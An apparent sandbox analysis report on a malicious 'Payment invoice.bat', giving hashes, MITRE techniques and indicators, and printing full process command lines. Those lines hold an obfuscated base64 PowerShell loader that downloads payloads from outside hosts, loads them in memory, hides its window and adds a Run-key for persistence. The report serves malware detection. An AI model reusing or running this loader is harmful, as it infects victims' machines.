2404d65d4cafa568fc377faf7bae4f29c1ff671f2d515091e1ddbad28a01023c

Analysis

max time kernel
299s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/07/2026, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment invoice.bat
Size 8KB
Sample260715-eagrksa13l
SHA256 2404d65d4cafa568fc377faf7bae4f29c1ff671f2d515091e1ddbad28a01023c
MD5 fdafe38f02cb1c65b20c822b2d3ee0c0
SHA1 c1e38f8abbeca06b6f3701e2b9bfc6ef38c67488
SHA512 8af27eb755c43b3a27454dfe1b0be7b7446f8bf54e58cca61ce6cd508139504887d03b9f1dbdcecf04cd31dc9728bd2c60910587b9faf0f1c36b07b48b96a250
SSDEEP 192:tfnRgQNjNX0HKZv+LE/0LIJAwCaAScvKDRzqzzyfo6wN8yzs:8QhNXj+Le0LIOFaDcvKDoaf5ways
TLSH
T10802327DC6E2BCD4475B32C0B9DEFBC6408A8B13BA6B1ABCD5C904D10B10624DB7D988
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4272	powershell.exe
3	4272	powershell.exe
4	4272	powershell.exe
5	5792	powershell.exe
7	5792	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4464	powershell.exe
4716	powershell.exe
4272	powershell.exe
5792	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\cAdebkhchd = "C:\\ProgramData\\Payment invoice.bat"	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4464	powershell.exe
4464	powershell.exe
4272	powershell.exe
4272	powershell.exe
4716	powershell.exe
4716	powershell.exe
5792	powershell.exe
5792	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	5792	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5904 wrote to memory of 4464	5904	cmd.exe	89
PID 4464 wrote to memory of 4272	4464	powershell.exe	90
PID 4272 wrote to memory of 2476	4272	powershell.exe	92
PID 4716 wrote to memory of 5792	4716	powershell.exe	95
PID 5792 wrote to memory of 1500	5792	powershell.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Payment invoice.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$jghjggghhjg = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnADoALwAvACcACgAkAGIAYQBzAGUAVQByAGwAIAA9ACAAJABzAGMAaABlAG0AZQAxACAAKwAgACQAcwBjAGgAZQBtAGUAMgAKAGkAZgAgACgAKABoAG8AcwB0AG4AYQBtAGUAKQAgAC0AbABpAGsAZQAgACcAKgBjAGwAZQBhAG4AKgAnACkAIAB7AAoAIAAgACAAIABlAHgAaQB0AAoAf@QAKACQAdABhAHIAZwBlAHQAVQByAGwAcwAgAD0AIABAACgACgAgACAAIAAgACgAJABiAGEAcwBlAFUAcgBsACAAKwAgACcAegB5AG4AaQBtAGcALgBjAG8AbQAvADEALgBqAHAAZwAnACkALAAKACAAIAAgACAAKAAkAGIAYQBzAGUAVQByAGwAIAArACAAJwBrAHoAYQBhAC4AYwBvAC4AegBhAC8AMQAuAGoAcABnACcAKQAKACkACgAKACQAcgBhAHcARABhAHQAYQAgAD0AIABHAGUAdAAtAFIAZQBtAG8AdABlAEQAYQB0AGEAIAAkAHQAYQByAGcAZQB0AFUAcgBsAHMACgBpAGYAIAAoACQAcgBhAHcARABhAHQAYQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AEQAYQB0AGEAKQAKACAAIAAgACAAJABzAHQAYQByAHQAVABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgAnACAAKwAnAFQAPgA+ACcACgAgACAAIAAgACQAZQBuAGQAVABhAGcAIAAgACAAPQAgACcAPAA8AEUATgBEAD4APgAnAAoACgAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AFQAYQBnACkACgAgACAAIAAgACQAZQBuAGQAUABvAHMAIAAgACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQAVABhAGcAKQAKAAoAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AFAAbwBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQAUABvAHMAIAAtAGcAdAAgACQAcwB0AGEAcgB0AFAAbwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAKwA9ACAAJABzAHQAYQByAHQAVABhAGcALgBMAGUAbgBnAHQAaAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQAUABvAHMAIAAtACAAJABzAHQAYQByAHQAUABvAHMACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAGgAdQBuAGsAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AFAAbwBzACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkACgAKACAAIAAgACAAIAAgACAAIAAkAGEAcwBzAGUAbQBiAGwAeQBCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACkACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACkACgAKACAAIAAgACAAIAAgACAAIAAkAHQAYQByAGcAZQB0AFQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAbQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApAAoAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAFYAYQBsAHUAZQAgAD0AIAAnAFYAYgBjACcACgAgACAAIAAgACAAIAAgACAAJABzAHQAcgAgAD0AIAAnADEAJwAKACAAIAAgACAAIAAgACAAIAAkAGcAZwBnACAAPQAgACcAdAB4AHQALgBkAGEAbwBsAHAAdQBlAG0AYgB1AHQAUwBf@AHQAbABpAHUAQgAvAHcAZQBuAC8AcwBlAGMAaQB2AHIAZQBzAC4AZABsAG8AcgB3AGUAaAB0AC8ALwA6AHMAIABnAHMAZgBoAGoAZwBmAHMAZgAnACAAOwAgACQAZwBnAGcAIAA9ACAAJABnAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADEAMAApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnAGcAIAAgACwAIAAkAHMAdAByACwAIAAnAFAAYQB5AG0AZQBuAHQAIABpAG4AdgBvAGkAYwBlACcALAAgACQAaQBuAGoAVgBhAGwAdQBlACwAIAAnADAAJwAsACAAJwB4ADYANAAnACkACgAgACAAIAAgACAAIAAgACAAKQAKACAAIAAgACAAf@QAKAH0A'';$oWgjffuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( [regex]::replace($jghjggghhjg, ''f@'',''f'')));iex $oWgjffuxd\"'";Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Payment invoice.bat' -Destination 'C:\ProgramData\Payment invoice.bat' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$jghjggghhjg = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnADoALwAvACcACgAkAGIAYQBzAGUAVQByAGwAIAA9ACAAJABzAGMAaABlAG0AZQAxACAAKwAgACQAcwBjAGgAZQBtAGUAMgAKAGkAZgAgACgAKABoAG8AcwB0AG4AYQBtAGUAKQAgAC0AbABpAGsAZQAgACcAKgBjAGwAZQBhAG4AKgAnACkAIAB7AAoAIAAgACAAIABlAHgAaQB0AAoAf@QAKACQAdABhAHIAZwBlAHQAVQByAGwAcwAgAD0AIABAACgACgAgACAAIAAgACgAJABiAGEAcwBlAFUAcgBsACAAKwAgACcAegB5AG4AaQBtAGcALgBjAG8AbQAvADEALgBqAHAAZwAnACkALAAKACAAIAAgACAAKAAkAGIAYQBzAGUAVQByAGwAIAArACAAJwBrAHoAYQBhAC4AYwBvAC4AegBhAC8AMQAuAGoAcABnACcAKQAKACkACgAKACQAcgBhAHcARABhAHQAYQAgAD0AIABHAGUAdAAtAFIAZQBtAG8AdABlAEQAYQB0AGEAIAAkAHQAYQByAGcAZQB0AFUAcgBsAHMACgBpAGYAIAAoACQAcgBhAHcARABhAHQAYQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AEQAYQB0AGEAKQAKACAAIAAgACAAJABzAHQAYQByAHQAVABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgAnACAAKwAnAFQAPgA+ACcACgAgACAAIAAgACQAZQBuAGQAVABhAGcAIAAgACAAPQAgACcAPAA8AEUATgBEAD4APgAnAAoACgAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AFQAYQBnACkACgAgACAAIAAgACQAZQBuAGQAUABvAHMAIAAgACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQAVABhAGcAKQAKAAoAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AFAAbwBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQAUABvAHMAIAAtAGcAdAAgACQAcwB0AGEAcgB0AFAAbwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAKwA9ACAAJABzAHQAYQByAHQAVABhAGcALgBMAGUAbgBnAHQAaAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQAUABvAHMAIAAtACAAJABzAHQAYQByAHQAUABvAHMACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAGgAdQBuAGsAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AFAAbwBzACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkACgAKACAAIAAgACAAIAAgACAAIAAkAGEAcwBzAGUAbQBiAGwAeQBCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACkACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACkACgAKACAAIAAgACAAIAAgACAAIAAkAHQAYQByAGcAZQB0AFQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAbQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApAAoAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAFYAYQBsAHUAZQAgAD0AIAAnAFYAYgBjACcACgAgACAAIAAgACAAIAAgACAAJABzAHQAcgAgAD0AIAAnADEAJwAKACAAIAAgACAAIAAgACAAIAAkAGcAZwBnACAAPQAgACcAdAB4AHQALgBkAGEAbwBsAHAAdQBlAG0AYgB1AHQAUwBf@AHQAbABpAHUAQgAvAHcAZQBuAC8AcwBlAGMAaQB2AHIAZQBzAC4AZABsAG8AcgB3AGUAaAB0AC8ALwA6AHMAIABnAHMAZgBoAGoAZwBmAHMAZgAnACAAOwAgACQAZwBnAGcAIAA9ACAAJABnAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADEAMAApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnAGcAIAAgACwAIAAkAHMAdAByACwAIAAnAFAAYQB5AG0AZQBuAHQAIABpAG4AdgBvAGkAYwBlACcALAAgACQAaQBuAGoAVgBhAGwAdQBlACwAIAAnADAAJwAsACAAJwB4ADYANAAnACkACgAgACAAIAAgACAAIAAgACAAKQAKACAAIAAgACAAf@QAKAH0A';$oWgjffuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( [regex]::replace($jghjggghhjg, 'f@','f')));iex $oWgjffuxd"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\system32\HOSTNAME.EXE
      "C:\Windows\system32\HOSTNAME.EXE"
      4⤵
      PID:2476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$jghjggghhjg = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnADoALwAvACcACgAkAGIAYQBzAGUAVQByAGwAIAA9ACAAJABzAGMAaABlAG0AZQAxACAAKwAgACQAcwBjAGgAZQBtAGUAMgAKAGkAZgAgACgAKABoAG8AcwB0AG4AYQBtAGUAKQAgAC0AbABpAGsAZQAgACcAKgBjAGwAZQBhAG4AKgAnACkAIAB7AAoAIAAgACAAIABlAHgAaQB0AAoAf@QAKACQAdABhAHIAZwBlAHQAVQByAGwAcwAgAD0AIABAACgACgAgACAAIAAgACgAJABiAGEAcwBlAFUAcgBsACAAKwAgACcAegB5AG4AaQBtAGcALgBjAG8AbQAvADEALgBqAHAAZwAnACkALAAKACAAIAAgACAAKAAkAGIAYQBzAGUAVQByAGwAIAArACAAJwBrAHoAYQBhAC4AYwBvAC4AegBhAC8AMQAuAGoAcABnACcAKQAKACkACgAKACQAcgBhAHcARABhAHQAYQAgAD0AIABHAGUAdAAtAFIAZQBtAG8AdABlAEQAYQB0AGEAIAAkAHQAYQByAGcAZQB0AFUAcgBsAHMACgBpAGYAIAAoACQAcgBhAHcARABhAHQAYQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AEQAYQB0AGEAKQAKACAAIAAgACAAJABzAHQAYQByAHQAVABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgAnACAAKwAnAFQAPgA+ACcACgAgACAAIAAgACQAZQBuAGQAVABhAGcAIAAgACAAPQAgACcAPAA8AEUATgBEAD4APgAnAAoACgAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AFQAYQBnACkACgAgACAAIAAgACQAZQBuAGQAUABvAHMAIAAgACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQAVABhAGcAKQAKAAoAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AFAAbwBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQAUABvAHMAIAAtAGcAdAAgACQAcwB0AGEAcgB0AFAAbwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAKwA9ACAAJABzAHQAYQByAHQAVABhAGcALgBMAGUAbgBnAHQAaAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQAUABvAHMAIAAtACAAJABzAHQAYQByAHQAUABvAHMACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAGgAdQBuAGsAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AFAAbwBzACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkACgAKACAAIAAgACAAIAAgACAAIAAkAGEAcwBzAGUAbQBiAGwAeQBCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACkACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACkACgAKACAAIAAgACAAIAAgACAAIAAkAHQAYQByAGcAZQB0AFQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAbQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApAAoAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAFYAYQBsAHUAZQAgAD0AIAAnAFYAYgBjACcACgAgACAAIAAgACAAIAAgACAAJABzAHQAcgAgAD0AIAAnADEAJwAKACAAIAAgACAAIAAgACAAIAAkAGcAZwBnACAAPQAgACcAdAB4AHQALgBkAGEAbwBsAHAAdQBlAG0AYgB1AHQAUwBf@AHQAbABpAHUAQgAvAHcAZQBuAC8AcwBlAGMAaQB2AHIAZQBzAC4AZABsAG8AcgB3AGUAaAB0AC8ALwA6AHMAIABnAHMAZgBoAGoAZwBmAHMAZgAnACAAOwAgACQAZwBnAGcAIAA9ACAAJABnAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADEAMAApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnAGcAIAAgACwAIAAkAHMAdAByACwAIAAnAFAAYQB5AG0AZQBuAHQAIABpAG4AdgBvAGkAYwBlACcALAAgACQAaQBuAGoAVgBhAGwAdQBlACwAIAAnADAAJwAsACAAJwB4ADYANAAnACkACgAgACAAIAAgACAAIAAgACAAKQAKACAAIAAgACAAf@QAKAH0A'';$oWgjffuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( [regex]::replace($jghjggghhjg, ''f@'',''f'')));iex $oWgjffuxd\"'";Copy-Item -Path 'C:\ProgramData\Payment invoice.bat' -Destination 'C:\ProgramData\Payment invoice.bat' -Force -ErrorAction SilentlyContinue"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
